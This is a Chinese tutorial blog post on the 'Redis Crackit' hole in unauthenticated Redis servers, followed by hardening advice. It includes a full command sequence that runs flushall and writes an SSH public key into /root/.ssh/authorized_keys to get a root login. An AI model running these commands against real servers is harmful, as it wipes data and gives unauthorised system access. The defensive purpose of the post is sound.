• Redis Crackit漏洞防护


    Redis Crackit漏洞利用和防护

    注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!
    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

    环境准备

    • 1.准备一个运行在root用户下的验证redis。
    • 2.在你的本地生产一个ssh key。
    # ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
    
    • 3.给你的公钥加点换行
    (echo -e "
    
    "; cat /root/.ssh/id_rsa.pub; echo -e "
    
    ") > zhimakaimen.txt
    

    入侵开始

    清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。

    [root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
    OK
    

    把公钥写入到一个key里面

    [root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
    

    连接到这个redis上

    [root@test-node1 ~]# redis-cli -h 192.168.199.221
    

    设置rdb文件存放的路径

    redis 192.168.199.221:6379> config set dir /root/.ssh/
    OK
    

    设置rdb文件的文件名

    redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
    OK
    

    搞定保存

    redis 192.168.199.221:6379> save
    OK
    

    退出

    redis 192.168.199.221:6379> exit
    

    尝试登陆吧

    [root@test-node1 ~]# ssh root@192.168.199.221
    Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com
    

    !!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

    去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys

    [root@test-node2 ~]# cat /root/.ssh/authorized_keys
    

    注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

    如何防护

    1.禁用这些可以入侵的命令:

    [root@test-node2 ~]# vim /etc/redis.conf
    rename-command FLUSHALL ""
    #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
    

    2.将你的redis不要运行在0.0.0.0.或者设置验证。

    [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11
    

    3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

    如何发现被入侵

    • 1.你的redis数据莫名其妙没有了。
    • 2.检查你的rdb文件存放的路径
    • 3.检查是否有非法的authorized_keys

    数据库密码

    除此之外,还可以通过配置文件中的requirepass参数为Redis设置一个密码。例如:

    requirepass TAFK(@~!ji^XALQ(sYh5xIwTn5D s7JF
    

    客户端每次连接到Redis时都需要发送密码,否则Redis会拒绝执行客户端发来的命令。例如:

    redis> GET foo
    (error) ERR operation not permitted
    

    发送密码需要使用AUTH命令,就像这样:

    redis> AUTH TAFK(@~!ji^XALQ(sYh5xIwTn5D s7JF
    OK
    

    之后就可以执行任何命令了:

    redis> GET foo
    " 1"
    

    由于Redis的性能极高,并且输入错误密码后Redis并不会进行主动延迟(考虑到Redis的单线程模型),所以攻击者可以通过穷举法破解Redis的密码(1秒内能够尝试十几万个密码),因此在设置时一定要选择复杂的密码。
    提示配置Redis复制的时候如果主数据库设置了密码,需要在从数据库的配置文件中通过masterauth参数设置主数据库的密码,以使从数据库连接主数据库时自动使用AUTH命令认证。

    命名命令

    Redis支持在配置文件中将命令重命名,比如将FLUSHALL命令重命名成一个比较复杂的名字,以保证只有自己的应用可以使用该命令。就像这样:

    rename-command FLUSHALL oyfekmjvmwxq5a9c8usofuo369x0it2k
    

    如果希望直接禁用某个命令可以将命令重命名成空字符串:

    rename-command FLUSHALL ""
    

    注意无论设置密码还是重命名命令,都需要保证配置文件的安全性,否则就没有任何意义了。

  • 相关阅读:
    Different ways how to escape an XML string in C#
    __VIEWSTATE
    Git for Computer Scientists
    关于SQL Server死锁
    20个开源项目托管站点
    Understanding Host Headers in IIS
    开发与研发:区别很大
    Linux 0.12 “轮子”任务调度图示
    RabbitMQ学习第二记:工作队列的两种分发方式,轮询分发(Roundrobin)和 公平分发(Fair dispatch)
    ResultSetMetaData中getColumnLabel和getColumnName的区别
  • 原文地址:https://www.cnblogs.com/Csir/p/8244759.html
Copyright © 2020-2023  润新知